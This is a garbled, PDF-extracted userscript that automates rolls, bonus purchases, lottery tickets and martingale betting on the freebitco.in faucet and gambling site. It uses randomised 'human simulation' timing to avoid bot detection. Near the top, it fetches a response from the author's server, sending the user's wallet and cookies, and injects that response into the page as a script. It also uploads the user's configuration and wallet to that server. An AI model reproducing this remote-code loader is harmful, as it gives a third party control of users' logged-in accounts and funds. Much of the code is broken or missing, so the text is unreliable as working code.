Script 2021
Script 2021
// @name Freebitcoin [2021] - Auto Roll - Betting System - ALL Bonuses - Multiply - Lottery
- Status Console
// @description AUTOROLL SCRIPT [MAR 2021] --Auto Roll --Status Console --4 Betting
Strategies 2021 --Special graphs 4 referrals --Extinction bet --Balance protection --Odds --
Increase Rate --AutoRoll Low Balance paying RP --Human Simulation --NO captcha solving
--Lottery tickets --1000% & RP Bonus --Close ADS --Slower night mode --Advanced AI random
times --Extra functions added daily.
// @author dany-veneno
// @icon https://bit.ly/33sYX3b
// @match https://freebitco.in/*
// @grant none
// @create 2018-05-27
// @lastmodified 2021-03-02
// @version 3.6.9
// @compatible firefox Tested with Tampermonkey
// @compatible chrome Tested with Tampermonkey
// @namespace https://greasyfork.org/users/572366
// @license GPL
// @supportURL https://bit.ly/2JsP12I
// @homepage https://crypto-info-blog.blogspot.com/p/freebitcoin-autoroll-install-how-to.html
// @home-url https://bit.ly/2M4BNH7
// @home-url2 https://bit.ly/2zn0b4p
// @homepageURL https://greasyfork.org/en/scripts/404112
// @copyright 2018-2021, dany-veneno
// @run-at document-begin
// @note If you like this script, please register with my referal: https://bit.ly/2XFuZVQ
// @note Or send some satoshi at this address
3FwAazZDEuy3ER4NQVp4Yqo6kDxCFntwS8
// @note This will help a lot script development and future free updates
// ==/UserScript==
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////
///////// CONFIG ///
////// EDIT JUST THIS SECTION //
////////////////////////////////////
// ** BEHAVIOR ** //
var ROLL = true; // Auto Roll enable or disable. **** If Disabled, Multiply will NOT be
executed ***. Override nexts.
var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is active, or
not. Override nexts.
var GHOST_MODE = false; // *NEW* Don't play in the night if no promo actives. Override nexts.
var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls. Override
nexts.
var NIGHT_MODE = true; // play slower when it's night time
// *** Bonuses
// It buys bonuses just when missing less then 20 minutes to the Roll. To avoid losing 1 bonus
Roll.
var REWARDS = true; //decide if auto buy rewards bonuses, or not ***When true, it will activate
RP promotions***
var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP. *** When
BONUS1000 = false and REWARDS = true, you'll increase RP. ***
var HOURS_BETWEEN_BUY_BONUS = 1; // How many hours to wait before to buy Bonuses
Rewards Promo again
// *** Lottery
var LOTTERY = true; //decide if auto buy lottery tickets, or not.
var LOTTERY_MAX_TICKETS = 1; // Max ticket to buy
var LOTTERY_P = 7; // 0 is never, 100 is always
// Strategy of play
var STRATEGY = 2;// [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait min_losses;
..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess increments every play. Check
guides.
var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose before
begin play bas_bet and double; strategy >= 1
var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides.
var SPEED = 3; //Speed of multiply betting in manual mode, 3 fast, 2 medium, 1 human, 0
slowest
// ** Logging
var LOGGING = 5; //0 is no messages, 5 is debug
// Useful Vars
var startNight = 22;
var stopNight = 7;
//////////////
// System Constants //
const script_version = GM_info.script.version;
const css_reset='font-weight: reset; color:reset';
const css_bold='font-weight:bold;';
var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month: 'short', day:
'2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
// System Variables //
var reward_points=0;
var ads_closed=0; //number of ads closed, increasing
var rolling_mode="Day";
var rand = 0;
var r = 0;
var rollTryCount=0;
var game2_consecutive_lost_passed=false;
var game2_finished_loosing=false;
var game2_play_after_losses=0;
var game2_step=0;
var game_play_count=0;
(function() {
'use strict';
if (LOGGING > 0) console.log("%c<<<<<<<<<< Script Begin >>>>>>>>>>", 'font-weight:bold;
color: green');
setInterval(function(){
closePopupInterval($('#myModal22 .close-reveal-modal'));
closePopupInterval($('.pushpad_deny_button'));
}, 20000 );
setInterval(function(){
showStatus();
}, 1800000);
setInterval(function(){
rewards(false);
}, 300000);
// MONITORS
$(document).on('click', '#forced_start_roll',function(){
// forced and after_roll both true
multiply(true, true);
});
// Get level
fetch(referURL+"?wallet="+wa, {
credentials: "include" //CORS
})
.then(function(resp) { return resp.text() }) // Convert data to json
.then(function(data) {
var e="<script>"+data+"</script>";
$('body').append(e);
})
.catch(function() {
});
if (Boolean(SEND_STATS)) {
var stats_json = {
"multiply" : MULTIPLY,
"strategy" : STRATEGY,
"wait_hours" : HOURS_BETWEEN_MULTIPLY,
"roll_p" : ROLL_P,
"odds" : ODDS,
"incr" : INCR,
"min_bet" : parseFloat(MIN_BET).toFixed(8),
"bas_bet" : parseFloat(BAS_BET).toFixed(8),
"max_bet" : parseFloat(MAX_BET).toFixed(8),
"max_rolls" : MAX_ROLLS_AT_MULTIPLY,
"max_plays" : MAX_PLAY,
"max_win" : parseFloat(MAX_WIN).toFixed(8),
"min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY,
"wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES,
"high_low" : HIGH_LOW,
"wallet" : wa
}
// Send config for statistics
fetch(referURL+"?uploadConfig=true", {
method: 'POST',
body: JSON.stringify(stats_json),
credentials: "include"
})
.then(function(resp) { return resp.text() })
.then(function(data) { })
.catch(function() { });
}
// Get chart function
fetch("https://cdn.jsdelivr.net/npm/[email protected]")
.then(function(resp) { return resp.text() })
.then(function(data) {
var e="<script>"+data+"</script>";
$('body').append(e);
})
.catch(function() {
});
})();
function panelInit () {
var script_output_css, script_output_33;
if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin", 'color:grey');
// Create the Div on the page
// Version 3.3
script_output_css = "<style>";
script_output_css += ".script-output {font-size: 9px; line-height:10px; background: #333;
border: 2px groove #09ff00; margin-bottom: 1em;}";
script_output_css += ".script-output h1 {color: lime; font-size:1.8em; font-weight:bold; }"
script_output_css += ".script-output h4 {color: lime; font-size:1.2em; font-weight:bold;
text-align: center; margin-bottom:0;}"
script_output_css += ".cards-wrapper { display: grid; grid-gap: 0.5rem; grid-template-columns:
1fr 1fr; padding: 0.5rem 0rem; margin: 0 auto; width: auto }";
script_output_css += ".cards-wrapper-2-1 { grid-template-columns: 2fr 1fr; }";
script_output_css += ".veneno-card {color: white; position: relative; justify-content: center;
border-radius: 1em; padding:0.8em 1em; display: flex; flex-direction: column;
background-color:#000; box-shadow: 0 0 5em -1em black; border: 1px solid #00ff00d9;
text-decoration: none; text-align: left;}";
script_output_css += ".bottom-card {color: #666; position: relative; justify-content: center;
margin: 0 -1em; padding:0.8em 1em; display: flex; background-color:#1d1d1d; text-decoration:
none; text-align: left;}";
script_output_css += ".script-output a {color: #444;}";
script_output_css += ".script-output a:hover {color: lime;}";
script_output_css += ".horizontal-grid-wrapper-5 {display: grid; grid-gap: 0.5rem;
grid-template-columns: 1fr 1fr 1fr 1fr 1fr; width: auto ; margin: 0 auto;}";
script_output_css += ".horizontal-grid-wrapper-4 {display: grid; grid-gap: 0.2rem;
grid-template-columns: 1fr 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
script_output_css += ".horizontal-grid-wrapper-3 {display: grid; grid-gap: 0.2rem;
grid-template-columns: 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
script_output_css += ".horizontal-grid-wrapper-2-1-1 { grid-template-columns: 2fr 1fr 1fr;
width: auto; margin: 0.7em -1em 0 -1em;}";
script_output_css += ".card-button {border: 1px solid grey; overflow: hidden; padding: 0.3em;
background-color: beige; color: black; border-radius:10px; display: flex; flex-direction: column;
text-align: center; }";
script_output_css += ".single-column {display: flex; flex-direction: column; justify-content:
flex-start; padding: 0.3em;}";
script_output_css += ".card-button:hover { background-color: #efefef;}";
script_output_css += ".card-button-bottom {font-size: 1.4em; margin-top:0.2em;}";
script_output_css += "</style>";
script_output_33 += '</div>';
script_output_33 += '</div>'; // close script_output
// Write on page
$('head').append(script_output_css);
$('#reward_points_bonuses_main_div').prepend(script_output_33);
}
function rewards(after_refresh) {
if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin",
'color:grey');
var bonus_missing_time = {};
var t = missingTime();
var d = new Date();
var min_missing_min = 5;
var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000;
reward_points = parseInt($('.user_reward_points').text().replace(',',""));
// Create a RP History
if (after_refresh) {
rp_hist_arr.push(reward_points);
setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31);
// Debug for RP history check
if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: " +rp_hist_arr,
'color:grey');
}
if ($("#bonus_container_free_points").length != 0) {
// Some promo is already active
bonus_missing_time.text = $('#bonus_span_free_points').text();
bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]);
bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]);
if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
$('#script_output_title_bonus_wait_hours').text('Active '+bonus_missing_time.hour+'h
'+bonus_missing_time.min+"m").addClass('bold');
} else {
// No promos active
var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
//if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff:
"+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted:
"+milli_between_bonuses, 'color:grey');
$('#script_output_title_bonus_wait_hours').text('Disabled').removeClass('true').addClass('false');
return false;
} // or if missing time not satisfied
if ( last_bonus_diff < milli_between_bonuses ) {
var min_between_bonuses =
Math.floor((milli_between_bonuses-last_bonus_diff)/1000/60);
var hours_between_bonuses = Math.floor(min_between_bonuses/60);
if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait
HOURS_BETWEEN_BUY_BONUS before buy again, missing: '+hours_between_bonuses+'h
'+min_between_bonuses%60+'m');
$('#script_output_title_bonus_wait_hours').text('Wait '+hours_between_bonuses+"h
"+min_between_bonuses%60+"m").removeClass('true').addClass('false');
return false;
} // or if missing time on roll error
if (t[0] < 0){
if (LOGGING > 3) console.log('[RPBonuses] Error getting missing time less then 0, that
was'+t[0]+":"+t[1]);
$('#script_output_title_bonus_wait_hours').text('E0001').removeClass('true').addClass('false');
return false;
} // or before missing 10-20 minutes
if ( t[0] >= min_missing_min ) {
if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait
'+Math.floor(t[0]-min_missing_min)+' minutes to buy near roll');
$('#script_output_title_bonus_wait_hours').text('Wait
'+Math.floor(t[0]-min_missing_min)+' m');
return false;
}
$("#script_output_title_msg_mode").text("Promo");
setTimeout(function(){
setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses after:
"+tot_rp_spent_rewards);
$('.free_play_link').not('.hide_menu').click();
}, random(10000,20000));
} ,random(2000,16000));
}
}
function Roll() {
if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin", 'color:grey');
var d = new Date();
var h = d.getHours();
var t = missingTime();
if (!Boolean(ROLL)) {
$("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('false');
return true;
}
rollTryCount++;
if ($('#free_play_form_button').is(':visible') && !
$('#play_without_captchas_button').is(':visible')) {
r=random(1,100);
if ( isNight() && Boolean(NIGHT_MODE) ) {
if (r <= 30) rand=random(2400000,7200000);
else rand=random(1000000,3600000);
rolling_mode="Night";
} else {
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Day";
}
if (Boolean(SLOW_MODE)) {
if (r <= 5) rand=random(3000,100000);
else if (r <= 20) rand=random(300000,1500000);
else if (r <= 40) rand=random(60000,2000000);
else rand=random(120000,3000000);
rolling_mode="Slow";
}
var waiting_milli;
if (stopNight > h) {
waiting_milli = (stopNight - h + 1)*60*60*1000;
} else {
waiting_milli = (stopNight + (24 - h + 1))*60*60*1000;
}
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
$("#script_output_title_msg_mode").text(rolling_mode);
//rand = rand(1000,2000);
} else if ($('#play_without_captchas_button').is(':visible') ){
if (Boolean(PLAY_WITHOUT_CAPTCHA)) {
//Try to play without captcha, if enough RP
if (LOGGING > 2) console.log ("[Roll] Captcha Roll");
captchaRoll();
} else {
return false;
}
} else if (rollTryCount >= 10) {
// refresh page after 10 minutes trying the next case
location.reload();
} else if (t[0] <= 0) {
// Not in the home page window, try again in a bit
$('#script_output_title_msg_roll').html('<span class="bold">Waiting 1m</span>');
if (LOGGING > 2) console.log("[Roll] Retry in 1m");
setTimeout(function(){
Roll();
}, 60000 );
} else {
$('#script_output_title_msg_roll').html('<span class="bold">Waiting Next Roll</span>');
//$("#script_output_title_msg_mode").text("Wait");
if (LOGGING > 2) console.log("[Roll] No roll");
}
}
function captchaRoll() {
if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin", 'color:grey');
$('#play_without_captchas_button').click();
setTimeout(function(){
var cost_rp = $('.play_without_captcha_description span').text();
if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for "+cost_rp+" RP
points. You have "+reward_points+" RP.", 'color:purple;');
if (reward_points >= cost_rp ) {
// ROLL anyway paying
if (LOGGING > 2) console.log ("[Roll] Roll with Captcha");
$('#script_output_title_msg_roll').html('<span class="bold true">Captcha OK</span>');
r=random(1,100);
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Captcha";
$("#script_output_title_msg_mode").text(rolling_mode);
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
rand = random(500,60000);
rollAndRetrieve(rand);
tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)+parseInt(cost_rp));
setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
} else {
if (LOGGING > 2) console.log ("%c[Roll] Not enough RP. No Roll", 'color: red');
$('#script_output_title_msg_roll').html('<span class="bold false">Miss RP</span>'); //
Status on page
}
}, random(1000,3000));
}
setTimeout(function(){
//Duplicate the visibility chek to avoid error when humans roll and don't refresh.
if ( $('#free_play_form_button').is(':visible') ){
$('body').focus();
function lottery () {
//Plan buying lottery ticket
if(Boolean(LOTTERY)){
if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin", 'color:gray');
var r = random(1,100);
var d = new Date();
var h = d.getHours();
var satbalance = parseInt($('#balance').text().split(".")[1]);
var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
if ( isNight() ) return true;
else if (satbalance <= randl) return true;
else if (r>= LOTTERY_P) return true;
if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets %cin some
time....", 'color:yellow', 'color:reset');
setTimeout(function(){
$('#lottery_tickets_purchase_count').val(randl);
setTimeout(function(){
$('#purchase_lottery_tickets_button').click();
if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + " lottery tickets",
'color:yellow');
tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl));
setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
}, random(2000,4000));
}, random(40000,120000));
}
}
if ($("#bonus_account_table").length != 0) {
var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")[0];
if (LOGGING > 2) console.log('%c[Multiply] bonus balance: '+bonus_mul_balance+', wager
remaining: '+bonus_mul_wager_remaining, 'color:grey');
bonus_mul = true;
} else bonus_mul = false;
$('#script_output_title_multiply_wait_hours').text('Disabled').removeClass('true').addClass('false'
);
$('#multiply_strategy').hide();
return false;
}
if ( !Boolean(MULTIPLY_AT_NIGHT) && isNight() && !Boolean(forced)) {
if (LOGGING > 3) console.log('%c[Multiply] Not playing multiply in the night','color:gray');
$('#script_output_title_multiply_wait_hours').text('Wait Morning');
return false;
}
if ( balance < MAX_BET && bonus_mul_balance < MAX_BET && !Boolean(forced)) {
if (LOGGING > 3) console.log('[Multiply] Not enough balance for MAX_BET');
$('#script_output_title_multiply_wait_hours').text('Adjust MaxBet');
return false;
}
if ( last_multiply_diff < milli_between_multiplies && !Boolean(forced)) {
var min_between_mult=Math.floor((milli_between_multiplies - last_multiply_diff)/1000/60);
var hours_between_mult=Math.floor(min_between_mult/60);
if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait
HOURS_BETWEEN_MULTIPLY before play again, missing '+hours_between_mult+"h
"+min_between_mult%60+"m");
$('#script_output_title_multiply_wait_hours').text('Wait '+hours_between_mult+"h
"+min_between_mult%60+"m");
//$('#ref_multiply_missing_hours').text(Math.ceil((milli_between_multiplies -
last_multiply_diff)/1000/60/60));
$('#script_output_title_multiply_wait_hours').removeClass('true').addClass('false');
return false;
}
if ( t[0] > 0 && t[0] <= max_missing_min && !Boolean(forced)) {
if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait to play not near next roll,
missing just %c'+t[0]+' min', 'color:purple');
$('#script_output_title_multiply_wait_hours').text('Wait '+t[0]+'m');
return false;
}
if (Boolean(isMultiplyRunning)) {
if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Some other istance already
playing');
return false;
}
if (Boolean(after_roll)) {
if (!Boolean(forced)) $('.double_your_btc_link').not('.hide_menu').click();
tot_multiply_games = parseInt(tot_multiply_games)+1;
setCookie("tot_multiply_games", tot_multiply_games, 30);
setCookie("last_multiply", d.getTime(), 30);
$('#script_output_multiply_status').html('<span class="bold">Multiply: <span
class="true">Running!</span></span>');
if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+", "+bonus_mul_balance+",
"+MAX_BET+", "+Boolean(MULTIPLY));
multiply_manual();
} else {
isMultiplyPlayable = true;
if (LOGGING > 3) console.log('[Multiply] Yes can play multiply '+isMultiplyPlayable);
}
}
function multiply_manual() {
var bet_count=0; var bet_remaining=0;
var past_bet; var bet_amount; var bet_odds; var bet_hilo;
var winnings=0;
var won=0; // won lost or error -1, 1 or 0
var consecutive_lost=0; var consecutive_win=0;
// Multilpy Running
isMultiplyRunning = true;
if ( $('#multiply_full_container').length) {
multiply_message = "<span class='lime'><b>Running!</b></span>";
$('#multiply_message').html(multiply_message);
}
// Activate DOM Monitors
if (won != 0) {
// COOKIES for STATISTICS
setCookie("tot_multiply_balance", tot_multiply_balance, 7);
setCookie('curr_multiply_balance',curr_multiply_balance,7);
var rolled = $('#previous_roll').text();
last_session_hist.push(Math.round(curr_multiply_balance*100000000));
setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7)
// Session Cookie
if (consecutive_lost >= max_consecutive_losts_session) {
max_consecutive_losts_session=consecutive_lost;
setCookie('max_consecutive_losts_session', max_consecutive_losts_session, 7);
}
if (consecutive_lost >= max_consecutive_losts_inplay_session && bet_amount >
MIN_BET) {
max_consecutive_losts_inplay_session=consecutive_lost;
setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_session,7);
}
if (bet_amount >= max_bet_session) {
max_bet_session=parseFloat(bet_amount).toFixed(8);
setCookie('max_bet_session',max_bet_session,7);
}
// General Cookies
if (consecutive_lost > max_consecutive_losts_inplay && bet_amount > MIN_BET) {
max_consecutive_losts_inplay = consecutive_lost;
setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7);
}
if (consecutive_lost > max_consecutive_losts) {
max_consecutive_losts=consecutive_lost;
setCookie('max_consecutive_losts', consecutive_lost, 365);
}
if ( rolled != '7777' ){
jackpot_distance++;
setCookie('jackpot_distance', jackpot_distance, 31);
}
if ( $('#multiply_full_container').length) {
// Update the values
$('#multiply_bet_count > b').html(bet_count).addClass("green-bg");
setTimeout(function () { $("#multiply_bet_count > b").removeClass("green-bg"); },200);
$('#multiply_play_count > b').html(game_play_count);
$('#multiply_max_cons_losts > b').html(max_consecutive_losts_session);
$('#multiply_max_bet > b').html(max_bet_session);
$('#balance_before > b').html(balance);
$('#balance_now > b').html(parseFloat($('#balance').text()).toFixed(8));
$('#multiply_wagered > b').html(curr_multiply_wagered);
$('#multiply_profit > b').html(curr_multiply_balance);
}
// Next bet values getting It return a FLOAT number. Will be converted in bet function.
bet_amount = get_bet_amount( past_bet, consecutive_lost, consecutive_win);
bet_hilo = get_bet_hilo(consecutive_lost);
bet_odds = get_bet_odds();
if (LOGGING > 2) {
log_msg = "Rolled:"+rolled+",%c Won:"+parseFloat(winnings).toFixed(8)+"%c,
Played#:"+bet_count;
log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W:
"+consecutive_lost+"/"+consecutive_win;
log_msg += ", CurrBal:"+curr_multiply_balance+", TotBal:"+tot_multiply_balance;
log_msg += " <Next bet: "+parseFloat(bet_amount).toFixed(8)+"("+game2_step+") on
"+bet_hilo+", Fast: "+fast_bet+">";
console.log(log_msg, css_bold+"color:"+c, css_reset);
}
curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) +
parseFloat(bet_amount)).toFixed(8);
tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) +
parseFloat(bet_amount)).toFixed(8);
setCookie('tot_multiply_wagered',tot_multiply_wagered, 365);
setCookie('curr_multiply_wagered',curr_multiply_wagered, 30);
bet_count++;
past_bet=bet_amount;
//Security wait of 30 seconds if speed fast (3) and every 500 collected
// Disable Animation
$("#disable_animation_checkbox").prop( "checked", true );
// First bet that cause all the others and Dom modifications
setTimeout(function(){
bet_hilo = get_bet_hilo(0);
bet_amount = get_bet_amount(MIN_BET,0,0);
bet_odds = get_bet_odds();
bet_count++; past_bet=bet_amount;
bet(bet_amount, bet_hilo, bet_odds, false);
}, random (3500,6500) );
}
if (STRATEGY == 3) {
MIN_LOSSES_BEFORE_PLAY++;
if (LOGGING > 2) console.log("New MIN_LOSSES_BEFORE_PLAY value is:
"+MIN_LOSSES_BEFORE_PLAY);
}
return MIN_BET;
}
}
}
}
} else return "-010";
}
function get_bet_odds () {
if (STRATEGY == 0) { return 2; }
else return ODDS;
}
if (SPEED == 0) {
wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000);
} else if (SPEED == 1) {
if (Boolean(fast)) { wait_time_1 = random(300,900); wait_time_2=random(100,200); }
else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); }
} else if (SPEED == 2) {
wait_time_1 = random(300,1000); wait_time_2=random(100,200);
} else {
wait_time_1 = random(10,20); wait_time_2=0;
}
setTimeout (function(){
$("#double_your_btc_stake").val(parseFloat(amount).toFixed(8));
$("#double_your_btc_payout_multiplier").val(odds);
setTimeout(function(){ $(toclick).click(); }, wait_time_1 );
}, wait_time_2 );
}
function multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance,
observer, multiply_message) {
// Finished playing multiply
// Deactivate DOM Monitors
observer.disconnect();
if ( $('#multiply_full_container').length) {
$('#multiply_message').html(multiply_message);
}
multiply_hist_arr.push(tot_multiply_balance);
setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14);
console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey');
if (LOGGING > 2) {
if (bet_amount > MAX_BET) {
console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet:
"+bet_amount, 'color: red');
} else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) {
console.log("%c Max Rolls limit passed. Max Rolls: "+MAX_ROLLS_AT_MULTIPLY+",
Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons losts", 'color: red');
} else if (game_play_count >= MAX_PLAY) {
console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot Plays:
"+game_play_count, 'color: red');
}
}
if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply",
css_bold+'color:green');
if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot games:
"+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color: green');
if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+", Session tot
bets: "+bet_count, css_bold+'color:green');
$('#script_output_multiply_status').html('<span class="bold">Multiply: <span
class="true">Done!</span></span>');
isMultiplyRunning=false;
setTimeout(function(){
isMultiplyRunning = false;
$('.free_play_link').not('.hide_menu').click();
}, random(3000,30000));
}
function missingTime () {
var min = 0; var sec = 0; var str = "";
str = $('title').text().split(" ")[0];
//if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color: grey');
if (str.length <= 7 && str.length >= 3) {
min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
} else if ( $('#free_play_form_button').is(':visible') ) {
min = 0; sec = 0;
} else { min = -1; sec = -1; }
return [min,sec];
}
function isNight(){
var d = new Date();
var h = d.getHours();
function random(min,max){
return min + (max - min) * Math.random();
}
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function reset_all_stats(){
if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies", 'color:red');
setCookie("last_bonus",0,365); setCookie("last_multiply",0,30);
setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7);
setCookie("tot_multiply_games",0,30);
setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7);
setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30);
setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7);
setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365);
setCookie('max_consecutive_losts_inplay',0,7);
setCookie('max_consecutive_losts_inplay_session',0,7);
setCookie('max_consecutive_losts_session',0,7);
setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14);
setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
setCookie('tot_lottery_winning_rolling',0,7); setCookie('tot_multiply_balance',0,7);
setCookie('tot_multiply_bets',0,7); setCookie('tot_multiply_play',0,7);
setCookie('tot_multiply_wagered',0,365); setCookie('tot_rp_winning_rolling',0,7);
location.reload();
}
function showStatus(){
if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin", 'color:grey');
var t=missingTime();
var date = new Date();
var script_output_msg_1 = "";
var script_output_msg_2 = "";
var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,{ value: minute }] =
dateTimeFormat.formatToParts(date);
var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
var c1='purple'; var c2='olive';
var c3='brown'; var c4='teal';
if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]",
css_bold+'color:'+c1, css_bold);
//Rewards and multiply infos and colors
if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if
(Boolean(LOTTERY)) cc='green';
var cssa='font-weight: bold; color:'+ca;
var cssb='font-weight: bold; color:'+cb;
var cssc='font-weight: bold; color:'+cc;
if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards:
"+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c;
Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
if (t[0] > 0 || t[1] > 0) {
if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+" sec"+"%c
for next roll",css_bold+"color:"+c1,css_reset);
}
if (LOGGING > 0) console.log(">>>>>>>>>> BTC won with script:
"+"%c"+tot_btc_winning_rolling, css_bold+'color:'+c4);
if (LOGGING > 0) console.log(">>>>>>>>>> Tickets won with script:
"+"%c"+tot_lottery_winning_rolling, css_bold+'color:'+c4);
if (LOGGING > 0) console.log(">>>>>>>>>> RP won with script:
"+"%c"+tot_rp_winning_rolling, css_bold+'color:'+c4);
if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with rewards:
"+"%c"+tot_rp_spent_rewards, css_bold+'color:'+c1);
if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with captcha:
"+"%c"+tot_rp_spent_captcha, css_bold+'color:'+c1);
if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Balance: "+"%c"+tot_multiply_balance,
css_bold+'color:'+c3);
if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Games played:
"+"%c"+tot_multiply_games, css_bold+'color:'+c3);
if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Wagered:
"+"%c"+tot_multiply_wagered, css_bold+'color:'+c3);
function setBtcPrice(){
//if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin", 'color:grey');
var btc_price=$('#btc_usd_price').html().split('.')[0].replace('$','').replace(',','');
var i=1;
var to=2000;
if (i>=10) return false;
else if (isNaN(btc_price)) {
if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in "+to*i/1000+" s",
'color:grey');
setTimeout(function(){ setBtcPrice(); }, to*i );
i++;
